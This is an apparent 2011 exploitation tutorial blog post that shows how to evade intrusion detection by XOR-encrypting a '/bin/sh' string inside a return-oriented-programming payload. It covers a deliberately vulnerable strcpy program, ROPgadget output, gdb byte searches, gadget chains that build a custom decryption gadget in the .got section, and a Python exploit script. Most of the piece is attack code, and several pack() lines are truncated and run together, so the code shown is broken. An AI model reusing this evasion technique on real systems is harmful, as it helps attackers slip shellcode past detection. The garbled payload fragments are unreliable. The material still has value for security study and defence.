Title: Bypassing IDS with Return Oriented Programming Date: 2011-10-02 Author: Jonathan Salwan | twitter: @JonathanSalwan Small reminder of the polymorphism ================================== Polymorphism is used in the shellcode to hide attacks on a network. It is true that today the IDSs (Intrusion Detection System) recognizes most shellcode structures. (example: push /bin/sh, etc). But polymorphism can bypass this detection. With regard to the ROP, each payload is different and specific, we can therefore consider that the gadgets will not be detected by IDS. However, in many cases, during ROP exploitation we use a section to write our chain, that will be used during the execve. Exemple in .data we write "/bin/sh" With IDS, it will be difficult to send this type of chain, so we'll encrypt the string and then decrypt it later. Encrypting our string ===================== Take for example the vulnerable code below. The code is compiled with -static flag for a large list of gadgets. Of course, the code below is not related to the network IDS, it's just to demonstrate the principle of IDS bypassing with the ROP. #include int main(int ac, char **av) { char buff[32]; strcpy(buff, av[1]); } Launching ROPgadget (http://shell-storm.org/project/ROPgadget/) allows us to obtain a usable payload very easily. # execve /bin/sh generated by RopGadget v3.1 p += pack(" '/bin/sh' # decrypt '/' p += pack(" /bin/sh\0\0\0\0 p += pack(": 8048054: 83 f1 77 xor $0x77,%ecx 8048057: c3 ret Then we'll find the bytes with gdb in the .text section: (gdb$) find 0x8048150,0x80a807c, '\x83' result ==> 0x08048d28 (gdb$) find 0x8048150,0x80a807c, '\xf1' result ==> 0x0804fc47 (gdb$) find 0x8048150,0x80a807c, '\x77' result ==> 0x0804db48 (gdb$) find 0x8048150,0x80a807c, '\xc3' result ==> 0x0804a5dc So, we have this series of gadgets that will allow us to create our gadget: 0x08050eaa pop %edx ; we place the address of the byte (0x83) ret 0x080c34a9 mov (%edx),%ecx ; the byte is placed in %ecx ret 0x08058770 mov %ecx,%eax ; the byte is placed in %eax pop %ebx pop %esi pop %edi pop %ebp ret 0x08050eaa pop %edx ; we place the .got address in %edx ret 0x08079e0d mov %eax,(%edx) ; the byte is placed on .got section ret We just have to repeat this for each byte, then we'll have our gadget in the .got section. After creating the last gadget, we have the following gadgets: 0x08050eaa pop %edx ; we place the address of our string in %edx ret 0x080c34a9 mov (%edx),%ecx ; placed the first character string in our in %ecx ret @.got xor $0x77,%ecx ; Our gadget in .got section ret 0x08058770 mov %ecx,%eax ; our character is placed in %eax pop %ebx pop %esi pop %edi pop %ebp ret 0x08079e0d mov %eax,(%edx) ; we place the decrypted character instead of the encrypted character ret So, we have a sploit that looks like this: jonathan@ArchLinux [rop-ids] $ cat test-ids3.py #!/usr/bin/env python2 from struct import pack p = "a"*32 p += "bbbb" # push data encrypted p += pack(" '/bin/sh' # decrypt '/' p += pack("